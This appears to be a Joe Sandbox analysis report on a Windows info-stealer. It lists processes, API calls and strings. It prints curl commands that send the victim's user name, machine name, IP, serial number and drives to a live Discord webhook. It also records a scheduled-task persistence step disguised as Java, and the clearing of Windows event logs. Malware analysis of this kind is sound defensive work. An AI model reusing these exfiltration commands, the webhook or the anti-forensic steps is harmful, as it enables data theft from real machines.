2024-12-30 10:13:57 UTC	211	IN	Data Raw: 53 65 74 2d 43 6f 6f 6b 69 65 3a 20 5f 63 66 75 76 69 64 3d 51 4e 37 57 68 61 33 5a 7a 2e 53 43 7a 39 48 33 32 72 65 5a 36 58 6f 52 2e 4b 6a 31 74 4e 55 4e 53 34 69 78 51 6e 36 79 48 76 6f 2d 31 37 33 35 35 35 33 36 33 37 38 32 37 2d 30 2e 30 2e 31 2e 31 2d 36 30 34 38 30 30 30 30 30 3b 20 70 61 74 68 3d 2f 3b 20 64 6f 6d 61 69 6e 3d 2e 64 69 73 63 6f 72 64 2e 63 6f 6d 3b 20 48 74 74 70 4f 6e 6c 79 3b 20 53 65 63 75 72 65 3b 20 53 61 6d 65 53 69 74 65 3d 4e 6f 6e 65 0d 0a 53 65 72 76 65 72 3a 20 63 6c 6f 75 64 66 6c 61 72 65 0d 0a 43 46 2d 52 41 59 3a 20 38 66 61 31 34 32 39 62 33 66 35 33 37 63 39 33 2d 45 57 52 0d 0a 0d 0a Data Ascii: Set-Cookie: _cfuvid=QN7Wha3Zz.SCz9H32reZ6XoR.Kj1tNUNS4ixQn6yHvo-1735553637827-0.0.1.1-604800000; path=/; domain=.discord.com; HttpOnly; Secure; SameSite=NoneServer: cloudflareCF-RAY: 8fa1429b3f537c93-EWR

Target ID:	0
Start time:	05:13:52
Start date:	30/12/2024
Path:	C:\Users\user\Desktop\Jx6bD8nM4qW9sL3v.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\Jx6bD8nM4qW9sL3v.exe"
Imagebase:	0x7ff670fc0000
File size:	290'944 bytes
MD5 hash:	E181EB699888D8BBBE0B89D41DF77678
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	1
Start time:	05:13:52
Start date:	30/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	2
Start time:	05:13:52
Start date:	30/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c curl -s https://api.ipify.org
Imagebase:	0x7ff6dc710000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	3
Start time:	05:13:52
Start date:	30/12/2024
Path:	C:\Windows\System32\curl.exe
Wow64 process (32bit):	false
Commandline:	curl -s https://api.ipify.org
Imagebase:	0x7ff6ec190000
File size:	530'944 bytes
MD5 hash:	EAC53DDAFB5CC9E780A7CC086CE7B2B1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	5
Start time:	05:13:53
Start date:	30/12/2024
Path:	C:\Windows\System32\curl.exe
Wow64 process (32bit):	false
Commandline:	curl -H "Content-Type: application/json" -X POST -d "{\"embeds\":[{\"color\":16711680,\"fields\":[{\"inline\":false,\"name\":\"local user\",\"value\":\"user\"},{\"inline\":false,\"name\":\"system name\",\"value\":\"571345\"},{\"inline\":false,\"name\":\"ip address\",\"value\":\"8.46.123.189\"},{\"inline\":false,\"name\":\"serial number\",\"value\":\"C6553AFB\"},{\"inline\":false,\"name\":\"product version\",\"value\":\"Windows 6.2 (Build 9200)\"},{\"inline\":false,\"name\":\"Drives\",\"value\":\"C: (Local) D: (CD-ROM)\"}],\"footer\":{\"text\":\"New client\"},\"timestamp\":\"2024-12-30T11:32:25.000Z\"}]}" https://discord.com/api/webhooks/1321328602792460330/Q9CQMUqhPmnLA8YCGFiWcN1qsmd8SzEzHV5RcFrIuYx8UWU2bSG3fdw4gr1C7AVhJQhm
Imagebase:	0x7ff6ec190000
File size:	530'944 bytes
MD5 hash:	EAC53DDAFB5CC9E780A7CC086CE7B2B1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	6
Start time:	05:13:54
Start date:	30/12/2024
Path:	C:\Users\user\AppData\Local\java.exe
Wow64 process (32bit):	false
Commandline:	C:\Users\user\AppData\Local\java.exe
Imagebase:	0x7ff65e1f0000
File size:	290'944 bytes
MD5 hash:	E181EB699888D8BBBE0B89D41DF77678
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Antivirus matches:	Detection: 47%, ReversingLabs
Reputation:	low
Has exited:	true

Show Windows behavior

Target ID:	7
Start time:	05:13:55
Start date:	30/12/2024
Path:	C:\Windows\System32\conhost.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Imagebase:	0x7ff6d64d0000
File size:	862'208 bytes
MD5 hash:	0D698AF330FD17BEE3BF90011D49251D
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	8
Start time:	05:13:55
Start date:	30/12/2024
Path:	C:\Windows\System32\cmd.exe
Wow64 process (32bit):	false
Commandline:	C:\Windows\system32\cmd.exe /c curl -s https://api.ipify.org
Imagebase:	0x7ff6dc710000
File size:	289'792 bytes
MD5 hash:	8A2122E8162DBEF04694B9C3E0B6CDEE
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true

Show Windows behavior

Target ID:	9
Start time:	05:13:55
Start date:	30/12/2024
Path:	C:\Windows\System32\curl.exe
Wow64 process (32bit):	false
Commandline:	curl -s https://api.ipify.org
Imagebase:	0x7ff6ec190000
File size:	530'944 bytes
MD5 hash:	EAC53DDAFB5CC9E780A7CC086CE7B2B1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Target ID:	10
Start time:	05:13:56
Start date:	30/12/2024
Path:	C:\Windows\System32\curl.exe
Wow64 process (32bit):	false
Commandline:	curl -H "Content-Type: application/json" -X POST -d "{\"embeds\":[{\"color\":16711680,\"fields\":[{\"inline\":false,\"name\":\"local user\",\"value\":\"user\"},{\"inline\":false,\"name\":\"system name\",\"value\":\"571345\"},{\"inline\":false,\"name\":\"ip address\",\"value\":\"8.46.123.189\"},{\"inline\":false,\"name\":\"serial number\",\"value\":\"C6553AFB\"},{\"inline\":false,\"name\":\"product version\",\"value\":\"Windows 6.2 (Build 9200)\"},{\"inline\":false,\"name\":\"Drives\",\"value\":\"C: (Local) D: (CD-ROM)\"}],\"footer\":{\"text\":\"New client\"},\"timestamp\":\"2024-12-30T11:32:27.000Z\"}]}" https://discord.com/api/webhooks/1321328602792460330/Q9CQMUqhPmnLA8YCGFiWcN1qsmd8SzEzHV5RcFrIuYx8UWU2bSG3fdw4gr1C7AVhJQhm
Imagebase:	0x7ff6ec190000
File size:	530'944 bytes
MD5 hash:	EAC53DDAFB5CC9E780A7CC086CE7B2B1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	moderate
Has exited:	true

Show Windows behavior

Execution Graph

Execution Coverage:	23.5%
Dynamic/Decrypted Code Coverage:	0%
Signature Coverage:	29.6%
Total number of Nodes:	1725
Total number of Limit Nodes:	15

Executed Functions

Function 00007FF670FC70A0 Relevance: 81.5, APIs: 27, Strings: 19, Instructions: 981
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF670FC34A0: memmove.VCRUNTIME140(?,?,?,?,00007FF670FC14B3), ref: 00007FF670FC34D8

Part of subcall function 00007FF670FC6000: CryptStringToBinaryA.CRYPT32 ref: 00007FF670FC6065
Part of subcall function 00007FF670FC6000: memset.VCRUNTIME140(?,?,?,?,?,?,?,?,?,?,?,?,?,?,System,?), ref: 00007FF670FC60A6
Part of subcall function 00007FF670FC6000: CryptStringToBinaryA.CRYPT32 ref: 00007FF670FC60DF
Part of subcall function 00007FF670FC6000: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,System,?), ref: 00007FF670FC6141

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF670FC7150
_Xtime_get_ticks.MSVCP140 ref: 00007FF670FC7397
memset.VCRUNTIME140 ref: 00007FF670FC73D6
??0?$basic_ios@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF670FC7401
??0?$basic_iostream@DU?$char_traits@D@std@@@std@@QEAA@PEAV?$basic_streambuf@DU?$char_traits@D@std@@@1@@Z.MSVCP140 ref: 00007FF670FC7423
??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF670FC7466
_gmtime64.API-MS-WIN-CRT-TIME-L1-1-0 ref: 00007FF670FC7493
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF670FC7932
memmove.VCRUNTIME140 ref: 00007FF670FC798D
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF670FC7A7F
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF670FC7ACA
??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@P6AAEAV01@AEAV01@@Z@Z.MSVCP140 ref: 00007FF670FC7B50
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF670FC7B91
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF670FC7BF3
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF670FC7C4A
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF670FC7CAC
??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF670FC7D0B
??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF670FC7D19
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF670FC7D70

Part of subcall function 00007FF670FCB470: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF670FCB53E
Part of subcall function 00007FF670FCB470: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF670FCB58D
Part of subcall function 00007FF670FCB470: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF670FCB5CC

_CxxThrowException.VCRUNTIME140 ref: 00007FF670FC7DF5

Part of subcall function 00007FF670FC11C0: ?_Xlength_error@std@@YAXPEBD@Z.MSVCP140 ref: 00007FF670FC11CB

Part of subcall function 00007FF670FC34A0: memmove.VCRUNTIME140(?,?,?,?,00007FF670FC14B3), ref: 00007FF670FC3579

Concurrency::cancel_current_task.LIBCPMT ref: 00007FF670FC7E00
GetUserNameW.ADVAPI32 ref: 00007FF670FC7E9D
GetComputerNameW.KERNEL32 ref: 00007FF670FC7F2E
GetVolumeInformationW.KERNELBASE ref: 00007FF670FC801F
memset.VCRUNTIME140 ref: 00007FF670FC80EC
GetVersionExW.KERNEL32 ref: 00007FF670FC8102

Part of subcall function 00007FF670FC3280: __stdio_common_vswprintf_s.API-MS-WIN-CRT-STDIO-L1-1-0 ref: 00007FF670FC32C3

Part of subcall function 00007FF670FC21A0: ?_Init@locale@std@@CAPEAV_Locimp@12@_N@Z.MSVCP140 ref: 00007FF670FC21C0
Part of subcall function 00007FF670FC21A0: ??0?$codecvt@_WDU_Mbstatet@@@std@@QEAA@_K@Z.MSVCP140 ref: 00007FF670FC2216
Part of subcall function 00007FF670FC21A0: ?_New_Locimp@_Locimp@locale@std@@CAPEAV123@AEBV123@@Z.MSVCP140 ref: 00007FF670FC2232
Part of subcall function 00007FF670FC21A0: ??Bid@locale@std@@QEAA_KXZ.MSVCP140 ref: 00007FF670FC2242
Part of subcall function 00007FF670FC21A0: ?_Addfac@_Locimp@locale@std@@AEAAXPEAVfacet@23@_K@Z.MSVCP140 ref: 00007FF670FC2251
Part of subcall function 00007FF670FC21A0: ??4?$_Yarn@D@std@@QEAAAEAV01@PEBD@Z.MSVCP140 ref: 00007FF670FC2265

Strings

-d ", xrefs: 00007FF670FC7970
Security, xrefs: 00007FF670FC70B2
aHR0cHM6Ly9kaXNjb3JkLmNvbS9hcGkvd2ViaG9va3MvMTMyMTMyODYwMjc5MjQ2MDMzMC9ROUNRTVVxaFBtbkxBOFlDR0ZpV2NOMXFzbWQ4U3pFekhWNVJjRnJJdVl4OFVXVTJiU0czZmR3NGdyMUM3QVZoSlFobQ==, xrefs: 00007FF670FC70F7
%Y-%m-%dT%H:%M:%S.000Z, xrefs: 00007FF670FC749E
serial number, xrefs: 00007FF670FC7FC9
%08X, xrefs: 00007FF670FC8030
system name, xrefs: 00007FF670FC7F05
timestamp, xrefs: 00007FF670FC76CC
h, xrefs: 00007FF670FC74FB
C:\, xrefs: 00007FF670FC8018
embeds, xrefs: 00007FF670FC71E1, 00007FF670FC7602
Application, xrefs: 00007FF670FC7E15
System, xrefs: 00007FF670FC70B0
local user, xrefs: 00007FF670FC7E73
ip address, xrefs: 00007FF670FC7F96
Webhook sent. Response: , xrefs: 00007FF670FC7B09
Drives, xrefs: 00007FF670FC8236
product version, xrefs: 00007FF670FC80CC
New client, xrefs: 00007FF670FC82C7

Memory Dump Source

Source File: 00000000.00000002.2034708173.00007FF670FC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF670FC0000, based on PE: true

Associated: 00000000.00000002.2034636782.00007FF670FC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034744206.00007FF670FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034762816.00007FF670FD7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034780636.00007FF670FD8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff670fc0000_Jx6bD8nM4qW9sL3v.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn$U?$char_traits@$D@std@@@std@@$V01@memmovememset$BinaryCryptLocimp@locale@std@@NameString$??0?$basic_ios@??0?$basic_iostream@??0?$basic_streambuf@??0?$codecvt@_??1?$basic_ios@??1?$basic_iostream@??4?$_??6?$basic_ostream@Addfac@_Bid@locale@std@@ComputerConcurrency::cancel_current_taskD@std@@D@std@@@1@@ExceptionInformationInit@locale@std@@Locimp@12@_Locimp@_Mbstatet@@@std@@New_ThrowUserV01@@V123@V123@@V?$basic_streambuf@VersionVfacet@23@_VolumeXlength_error@std@@Xtime_get_ticksYarn@__stdio_common_vswprintf_s_gmtime64
String ID: -d "$%08X$%Y-%m-%dT%H:%M:%S.000Z$Application$C:\$Drives$New client$Security$System$Webhook sent. Response: $aHR0cHM6Ly9kaXNjb3JkLmNvbS9hcGkvd2ViaG9va3MvMTMyMTMyODYwMjc5MjQ2MDMzMC9ROUNRTVVxaFBtbkxBOFlDR0ZpV2NOMXFzbWQ4U3pFekhWNVJjRnJJdVl4OFVXVTJiU0czZmR3NGdyMUM3QVZoSlFobQ==$embeds$h$ip address$local user$product version$serial number$system name$timestamp
API String ID: 2975285854-287537819
Opcode ID: 9b066d39bca7f0125630d68e17dcf06c2f61835fd65c2a9164d8d62af6434d99
Instruction ID: 91eea6f960a56bfab42a7a70fcfa81334f6ac954d92b69000590c9f42914a5ec
Opcode Fuzzy Hash: 9b066d39bca7f0125630d68e17dcf06c2f61835fd65c2a9164d8d62af6434d99
Instruction Fuzzy Hash: D4B27A33A2CBC6A5EB60CB24E4413EE6361FB95794F505222DA9D83B99DF7CD184C710

Function 00007FF670FC4990 Relevance: 58.3, APIs: 28, Strings: 5, Instructions: 546
memorycomCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

CoInitializeEx.COMBASE ref: 00007FF670FC49CB
CoCreateInstance.COMBASE ref: 00007FF670FC49F7
VariantInit.OLEAUT32 ref: 00007FF670FC4A0C
VariantInit.OLEAUT32 ref: 00007FF670FC4A2A
VariantInit.OLEAUT32 ref: 00007FF670FC4A48
VariantInit.OLEAUT32 ref: 00007FF670FC4A67
VariantClear.OLEAUT32 ref: 00007FF670FC4ADC
VariantClear.OLEAUT32 ref: 00007FF670FC4AE7
VariantClear.OLEAUT32 ref: 00007FF670FC4AF2
VariantClear.OLEAUT32 ref: 00007FF670FC4AFD

Part of subcall function 00007FF670FCD9F0: malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,7FFFFFFFFFFFFFFF,00007FF670FC3975), ref: 00007FF670FCDA0A

SysAllocString.OLEAUT32 ref: 00007FF670FC4B47
SysFreeString.OLEAUT32 ref: 00007FF670FC4B93
SysAllocString.OLEAUT32 ref: 00007FF670FC4C02
SysFreeString.OLEAUT32 ref: 00007FF670FC4C4F
CoUninitialize.OLE32 ref: 00007FF670FC4CA2

Strings

Java Platform SE, xrefs: 00007FF670FC4D35
JavaUpdater, xrefs: 00007FF670FC4BFB, 00007FF670FC5063
Application, xrefs: 00007FF670FC499F
Security, xrefs: 00007FF670FC49A2
System, xrefs: 00007FF670FC49A0

Memory Dump Source

Source File: 00000000.00000002.2034708173.00007FF670FC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF670FC0000, based on PE: true

Associated: 00000000.00000002.2034636782.00007FF670FC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034744206.00007FF670FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034762816.00007FF670FD7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034780636.00007FF670FD8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff670fc0000_Jx6bD8nM4qW9sL3v.jbxd

Similarity

API ID: Variant$ClearInitString$AllocFree$CreateInitializeInstanceUninitializemalloc
String ID: Application$Java Platform SE$JavaUpdater$Security$System
API String ID: 2476186896-3516896312
Opcode ID: 24fa38df1a393179961b0acccd3c08c8b86d02bbf71ef8b19e25cd5064ac1328
Instruction ID: c883ec75b90a400e7965a5aa98a1040130b107c0a50d705816ccd867bb7a85e5
Opcode Fuzzy Hash: 24fa38df1a393179961b0acccd3c08c8b86d02bbf71ef8b19e25cd5064ac1328
Instruction Fuzzy Hash: 2F423633A19B859AEB11DF34D8502AE33A0FB89B48F148226DE4D97B68DF7CD585C310

Function 00007FF670FC7E10 Relevance: 38.8, APIs: 8, Strings: 14, Instructions: 303
libraryloaderCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF670FC34A0: memmove.VCRUNTIME140(?,?,?,?,00007FF670FC14B3), ref: 00007FF670FC34D8

GetUserNameW.ADVAPI32 ref: 00007FF670FC7E9D

Part of subcall function 00007FF670FC21A0: ?_Init@locale@std@@CAPEAV_Locimp@12@_N@Z.MSVCP140 ref: 00007FF670FC21C0
Part of subcall function 00007FF670FC21A0: ??0?$codecvt@_WDU_Mbstatet@@@std@@QEAA@_K@Z.MSVCP140 ref: 00007FF670FC2216
Part of subcall function 00007FF670FC21A0: ?_New_Locimp@_Locimp@locale@std@@CAPEAV123@AEBV123@@Z.MSVCP140 ref: 00007FF670FC2232
Part of subcall function 00007FF670FC21A0: ??Bid@locale@std@@QEAA_KXZ.MSVCP140 ref: 00007FF670FC2242
Part of subcall function 00007FF670FC21A0: ?_Addfac@_Locimp@locale@std@@AEAAXPEAVfacet@23@_K@Z.MSVCP140 ref: 00007FF670FC2251
Part of subcall function 00007FF670FC21A0: ??4?$_Yarn@D@std@@QEAAAEAV01@PEBD@Z.MSVCP140 ref: 00007FF670FC2265

GetComputerNameW.KERNEL32 ref: 00007FF670FC7F2E
GetVolumeInformationW.KERNELBASE ref: 00007FF670FC801F

Part of subcall function 00007FF670FC34A0: memmove.VCRUNTIME140(?,?,?,?,00007FF670FC14B3), ref: 00007FF670FC3579

Part of subcall function 00007FF670FC34A0: Concurrency::cancel_current_task.LIBCPMT ref: 00007FF670FC3597

memset.VCRUNTIME140 ref: 00007FF670FC80EC
GetVersionExW.KERNEL32 ref: 00007FF670FC8102
GetModuleHandleW.KERNEL32 ref: 00007FF670FC811A
GetProcAddress.KERNEL32 ref: 00007FF670FC812A

Part of subcall function 00007FF670FC34A0: _invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,00007FF670FC14B3), ref: 00007FF670FC3556

_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF670FC8389

Strings

serial number, xrefs: 00007FF670FC7FC9
%08X, xrefs: 00007FF670FC8030
system name, xrefs: 00007FF670FC7F05
Unknown, xrefs: 00007FF670FC81FE
C:\, xrefs: 00007FF670FC8018
Application, xrefs: 00007FF670FC7E15
Windows %d.%d (Build %d), xrefs: 00007FF670FC8174
local user, xrefs: 00007FF670FC7E73
ip address, xrefs: 00007FF670FC7F96
kernel32.dll, xrefs: 00007FF670FC8113
Drives, xrefs: 00007FF670FC8236
GetProductInfo, xrefs: 00007FF670FC8123
product version, xrefs: 00007FF670FC80CC
New client, xrefs: 00007FF670FC82C7

Memory Dump Source

Source File: 00000000.00000002.2034708173.00007FF670FC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF670FC0000, based on PE: true

Associated: 00000000.00000002.2034636782.00007FF670FC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034744206.00007FF670FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034762816.00007FF670FD7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034780636.00007FF670FD8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff670fc0000_Jx6bD8nM4qW9sL3v.jbxd

Similarity

API ID: Locimp@locale@std@@Name_invalid_parameter_noinfo_noreturnmemmove$??0?$codecvt@_??4?$_Addfac@_AddressBid@locale@std@@ComputerConcurrency::cancel_current_taskD@std@@HandleInformationInit@locale@std@@Locimp@12@_Locimp@_Mbstatet@@@std@@ModuleNew_ProcUserV01@V123@V123@@VersionVfacet@23@_VolumeYarn@memset
String ID: %08X$Application$C:\$Drives$GetProductInfo$New client$Unknown$Windows %d.%d (Build %d)$ip address$kernel32.dll$local user$product version$serial number$system name
API String ID: 1900567759-3537065479
Opcode ID: 5080b76f6441fb5deaf58bdfd11dae4b1887ad35dd40ac654e91d0965d0d4ce7
Instruction ID: 40cf5260610fc0e876a5408c37288c45410a607e419991a02d7537d79d5acef1
Opcode Fuzzy Hash: 5080b76f6441fb5deaf58bdfd11dae4b1887ad35dd40ac654e91d0965d0d4ce7
Instruction Fuzzy Hash: B1F16123A286C2A9E770DF34D8523EA2361FB95348F905236DA4CC7A99DF7CD685C350

Function 00007FF670FC42B0 Relevance: 36.9, APIs: 18, Strings: 3, Instructions: 141
windownativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAdjustPrivilege.NTDLL ref: 00007FF670FC42F5
NtRaiseHardError.NTDLL ref: 00007FF670FC431A
GetConsoleWindow.KERNELBASE ref: 00007FF670FC4320
ShowWindow.USER32 ref: 00007FF670FC432B
SetConsoleCtrlHandler.KERNEL32 ref: 00007FF670FC4338
GetConsoleWindow.KERNELBASE ref: 00007FF670FC4346
GetSystemMenu.USER32 ref: 00007FF670FC4351
RemoveMenu.USER32 ref: 00007FF670FC4367
GetModuleFileNameW.KERNEL32 ref: 00007FF670FC437D
GetFileAttributesW.KERNELBASE ref: 00007FF670FC438B
SetFileAttributesW.KERNELBASE ref: 00007FF670FC439E
GdiplusStartup.GDIPLUS ref: 00007FF670FC43EF
CoUninitialize.OLE32 ref: 00007FF670FC441C
OpenEventLogW.ADVAPI32 ref: 00007FF670FC4447
ClearEventLogW.ADVAPI32 ref: 00007FF670FC445A
CloseEventLog.ADVAPI32 ref: 00007FF670FC4463
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF670FC44D7

Part of subcall function 00007FF670FC4530: ?good@ios_base@std@@QEBA_NXZ.MSVCP140 ref: 00007FF670FC45A9
Part of subcall function 00007FF670FC4530: ?flush@?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV12@XZ.MSVCP140 ref: 00007FF670FC45C9
Part of subcall function 00007FF670FC4530: ?good@ios_base@std@@QEBA_NXZ.MSVCP140 ref: 00007FF670FC45D9
Part of subcall function 00007FF670FC4530: ?setstate@?$basic_ios@DU?$char_traits@D@std@@@std@@QEAAXH_N@Z.MSVCP140 ref: 00007FF670FC46BC
Part of subcall function 00007FF670FC4530: ?uncaught_exceptions@std@@YAHXZ.MSVCP140 ref: 00007FF670FC46C3
Part of subcall function 00007FF670FC4530: ?_Osfx@?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAXXZ.MSVCP140 ref: 00007FF670FC46D0

??6?$basic_ostream@DU?$char_traits@D@std@@@std@@QEAAAEAV01@P6AAEAV01@AEAV01@@Z@Z.MSVCP140 ref: 00007FF670FC44FB

Strings

Application, xrefs: 00007FF670FC43B3
Security, xrefs: 00007FF670FC43C1
System, xrefs: 00007FF670FC43BA

Memory Dump Source

Source File: 00000000.00000002.2034708173.00007FF670FC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00007FF670FC0000, based on PE: true

Associated: 00000000.00000002.2034636782.00007FF670FC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034744206.00007FF670FD0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034762816.00007FF670FD7000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2034780636.00007FF670FD8000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_7ff670fc0000_Jx6bD8nM4qW9sL3v.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$ConsoleEventFileWindow$?good@ios_base@std@@AttributesMenuV01@$??6?$basic_ostream@?flush@?$basic_ostream@?setstate@?$basic_ios@?uncaught_exceptions@std@@AdjustClearCloseCtrlErrorGdiplusHandlerHardModuleNameOpenOsfx@?$basic_ostream@PrivilegeRaiseRemoveShowStartupSystemUninitializeV01@@V12@_invalid_parameter_noinfo_noreturn
String ID: Application$Security$System
API String ID: 1039291073-2169399579
Opcode ID: 2202469d28eb256a13a2b8e783f8f6042cd7bca2b1afced6cc134338b03aeeda
Instruction ID: 189735eca92d69c56bc9bd5e1c0edb7911a71867e57c8b36ff1d0345d232dacd
Opcode Fuzzy Hash: 2202469d28eb256a13a2b8e783f8f6042cd7bca2b1afced6cc134338b03aeeda
Instruction Fuzzy Hash: EF615D22A2CAC2A2EB54DB24F4593AA63A1FF85784F644135DD4DC3BA4DF7CE445C720

Function 00007FF670FC1780 Relevance: 31.8, APIs: 11, Strings: 7, Instructions: 275
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Part of subcall function 00007FF670FC34A0: memmove.VCRUNTIME140(?,?,?,?,00007FF670FC14B3), ref: 00007FF670FC34D8

GetLogicalDriveStringsA.KERNEL32 ref: 00007FF670FC17F4
memset.VCRUNTIME140 ref: 00007FF670FC1819
??0?$basic_ios@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF670FC1838
??0?$basic_iostream@DU?$char_traits@D@std@@@std@@QEAA@PEAV?$basic_streambuf@DU?$char_traits@D@std@@@1@@Z.MSVCP140 ref: 00007FF670FC1852
??0?$basic_streambuf@DU?$char_traits@D@std@@@std@@IEAA@XZ.MSVCP140 ref: 00007FF670FC1883
GetDriveTypeA.KERNELBASE ref: 00007FF670FC18FE
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF670FC1A67
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF670FC1A6E
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 00007FF670FC1B77
??1?$basic_iostream@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF670FC1BB2
??1?$basic_ios@DU?$char_traits@D@std@@@std@@UEAA@XZ.MSVCP140 ref: 00007FF670FC1BBC

Part of subcall function 00007FF670FC34A0: memmove.VCRUNTIME140(?,?,?,?,00007FF670FC14B3), ref: 00007FF670FC3579

Strings

(Removable), xrefs: 00007FF670FC1968
(Local), xrefs: 00007FF670FC1959
(Network), xrefs: 00007FF670FC194A
(RAM Disk), xrefs: 00007FF670FC192C
No drives detected, xrefs: 00007FF670FC17D4
(CD-ROM), xrefs: 00007FF670FC193B
(Unknown), xrefs: 00007FF670FC191D

